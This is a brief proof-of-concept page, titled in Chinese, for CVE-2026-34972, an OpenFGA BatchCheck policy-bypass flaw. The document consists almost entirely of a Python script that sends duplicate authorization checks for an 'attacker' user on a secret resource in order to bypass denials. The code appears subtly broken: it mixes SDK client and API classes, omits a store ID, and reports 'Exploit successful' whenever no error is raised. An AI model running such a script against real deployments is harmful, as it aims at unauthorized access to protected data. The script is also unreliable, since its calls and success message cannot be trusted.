CVE-2026-34972 OpenFGA 权限策略执行不当漏洞

# PoC for CVE-2026-34972: OpenFGA BatchCheck Policy Bypass # Description: Sending duplicate checks in a BatchCheck request may trigger improper policy enforcement. import openfga_sdk # Initialize client configuration configuration = openfga_sdk.Configuration(api_key="Bearer YOUR_API_KEY") api_instance = openfga_sdk.OpenFgaApi(openfga_sdk.ApiClient(configuration)) # Target tuple details user_id = "user:attacker" relation = "can_write" object_id = "resource:secret_data" # Construct a BatchCheck request with duplicate tuple checks body = openfga_sdk.ClientBatchCheckRequest( checks=[ openfga_sdk.ClientCheckRequest(user=user_id, relation=relation, object=object_id), openfga_sdk.ClientCheckRequest(user=user_id, relation=relation, object=object_id), openfga_sdk.ClientCheckRequest(user=user_id, relation=relation, object=object_id) ] ) try: # In vulnerable versions, this might bypass intended denials response = api_instance.check(body) print(f"Exploit successful. Response: {response}") except Exception as e: print(f"Exploit failed: {e}")